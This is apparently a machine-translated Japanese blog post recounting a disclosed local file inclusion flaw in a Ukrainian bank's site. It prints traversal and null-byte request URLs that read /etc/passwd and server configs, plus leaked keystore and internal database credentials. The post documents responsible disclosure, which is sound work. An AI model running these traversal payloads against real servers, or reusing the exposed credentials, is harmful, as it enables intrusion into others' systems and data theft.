数年前に私に起こった話をあなたと共有したいと思います。
私の趣味はWebアプリケーションのセキュリティであるとすぐに言わなければなりません。
偶然インターネットを歩いていた私の友人は、無料のSMSを多くのウクライナのオペレーターに送信するサイトを見つけました。 そこで、チューリングテスト(キャプチャ)のバイパスに関連する小さな脆弱性が見つかりました。
私の友人と私は脆弱性を探すのが好きなので、私たちはすぐにキャプチャをバイパスするという意味のゲームをプレイしました。
しかし、今日の話はこれについてではなく、後に私たちによって発見されたものについてです。
友人は、サイトページのソースコードを見て無料のSMSを送信すると、興味深いHTMLコードを見つけました。
<A HREF= "#" onClick= "javascript:window.open('https://hackbank.ua/test.php?code=MOBILE&state=2&xslt_url=service_host.xsl', ' 'quickpay','toolbar=0,status=0,menubar=0,scrollbars=0,width=650,height=400',false);" CLASS= "header" ><IMG SRC= "www.sms1.ua/img/topupeasy.jpg" WIDTH= "82"
HEIGHT= "34" ALT= " !" BORDER= "0" VSPACE= "0" ></A>
論理的にファイルをコンピューターにダウンロードするリンクは、非常に興味深いものでした。
5分も経たないうちに、 ローカルファイルインクルージョンの脆弱性を発見しました。
この脆弱性は次のリンクにありました。
hackbank.ua/test.php?code=MOBILE&state=2&xslt_url= <local _file >
この脆弱性を使用すると、ブラウザーでローカルファイルを直接読み取ることができます。
存在しないファイルをサーバーに要求しましたが、次のようになりました。
URLリクエスト:
hackbank.ua/test?&xslt_url=0
サーバーの応答は次のようなものでした:
500 Servlet Exception
...........................
Resin-3.0.s060216 (built Thu, 16 Feb 2006 09:17:50 PST)
正直なところ、私は初めて樹脂について聞いた
また、 Resinは、スケーラビリティや負荷分散などの機能を備えた高性能アプリケーションサーバーです。
その時点でウィキペディアで見つけた製品情報:
Caucho Technology, Inc.
Caucho Technology, Inc.
3.1.1 — 2007
GPL
www.caucho.com (.)
このソフトウェアをダウンロードした後、調査を開始しました。
そして、Resinソフトウェアのフォルダー構造:
¦ configure
¦ httpd.exe
¦ LICENSE
¦ Makefile.in
¦ README
¦ setup.exe
¦
+---automake
¦ config.guess
¦ config.sub
¦ install-sh
¦ ltmain.sh
¦ missing
¦
+---bin
¦ httpd.sh
¦
+---conf
¦ app-default.xml
¦ development.conf
¦ fine.conf
¦ minimal.conf
¦ password.xml
¦ resin-3_1.conf
¦ resin-admin.xml
¦ resin.conf
¦
+---contrib
¦ init.resin-iptables
¦ init.resin.in
¦
+---lib
¦ activation.jar
¦ eclipse-compil
では、脆弱性に戻りましょう。
古典から始めましょう:
リンクによりhackbank.ua/test?xslt_url=../../../../../../etc/passwd
次の結論が得られます。
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
ident:x:100:101::/home/ident:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Servic
次に、 Resinサーバーの/ confフォルダーがローカルに保存されている場所を探し始めました
そして、彼らはそれを非常に素早く見つけました。
構成はXMLファイルです。 hackbank.ua/test?xslt_url=../../../../../../conf/resin.conf%00で入手できました
%00はnullバイトで 、これが行の終わりであることをWebサーバーに伝えます。
次に、結果のファイルのソースコードを確認します。
<?xml version="1.0" encoding="utf-8"?>
<resin xmlns:resin= "caucho.com/ns/resin/core" xmlns= "caucho.com/ns/resin" >
<server>
<http port= "1080" />
<http port= "10443" >
<jsse-ssl>
<key-store-type> JKS </key-store-type>
<key-store-file> keys/hackbank.jks </key-store-file>
<password> fynbxfn </password>
<key-manager-factory> 6645b </key-manager-factory>
<ssl-context> SSL </ssl-context>
</jsse-ssl>
</http>
<host id= "" root-directory= "." >
<access-log path= "log/access.log" format= "%h %l %u %t "%r" %s %b "%i" "%i"" rollover-period= "1W" />
<stderr-log path= "log/stderr.log" timestamp= "[%Y.%m.%d %H:%M:%S.%s] " rollover-period= "1W" />
<stdout-log path= "log/stdout.log" rollover-period= "1W" />
<log path= "log/server.log" timestamp= "[%Y.%m.%d %H:%M:%S.%s] " rollover-period= "1W" />
<web-app id= "/" document-directory= "webapps/ROOT" />
<ear-deploy path= "deploy" >
<ear-default ejb-server-jndi-name= "java:comp/env/ejb" >
<ejb-server jndi-name= "java:comp/env/ejb" />
</ear-default>
</ear-deploy>
<web-app-deploy path= "webapps" />
<resource-deploy path= "deploy" />
<web-app-deploy path= "deploy" />
</host>
<resin:import path= "$/conf/db-pool.xml" />
<resin:import path= "$/conf/c2b-db-pool.xml" />
<resin:import path= "$/conf/db-pool-qp.xml" />
<resin:import path= "$/conf/hb-default.xml" />
<resin:import path= "$/conf/resin-status.xml" />
</server>
<resin:import path= "$/conf/resin-common.xml" />
</resin>
すべてのWebサーバーログは次のとおりです。
hackbank.ua/test?xslt_url=../../../../../../log/access.log
hackbank.ua/test?xslt_url=../../../../../../log/stderr.log
hackbank.ua/test?xslt_url=../../../../../../log/server.log
そこでは何も面白いものは見つかりませんでした。 しかし、さらに進んだ:)
ファイル../../../../../../conf/c2b-db-pool.xml%00 :
10.1.101.195:5000
-----------------
user : C2BServer
password : vsirfysy
10.1.100.105:5000
-----------------
user : C2BServer
password : lfktrbq,thtu
10.1.100.115:5000
----------------
user : jbkl
password :123456
ファイル../../../../../../conf/db-pool.xml%00 :
10.1.101.51:5000
-------------------
user : 16_jag
password : u4BKoc7U5Edo
10.1.100.77:5000
-------------------
user : hskl
password : hsklhskl
10.1.99.49:4100
------------------
user : wbpfo_p424
password : aUKlOfcvT4YmAnk
10.1.99.82:5000
------------------
user : P24CVC
password : Login_4_P424CVC
何だと思う? そうです、これは銀行の内部ネットワークの他のサーバーへのアクセスです:)
翌日、私たちは発見したすべての脆弱性を説明する手紙を書きました。 そして、彼らは銀行のメールに手紙を送りました。 3週間後、脆弱性が存在しました。 私たちは再び手紙を送り、1週間後、私たちの脆弱性を修復する喜びを感じました。
この記事で誰かを怒らせたくはありませんでした。安全なシステムがないことを世界に知らせたいだけです。 情報システムを監査する専門家を雇ってください。
すべての質問については、vadim @ g-sg.netまでご連絡ください
*注意! すべての参照、および銀行の名前は、匿名性のために変更されています*
ご清聴ありがとうございました!
UPD。 テキスト内のすべてのエラーは、プライベートメッセージに書き込まれます。 よろしくお願いします!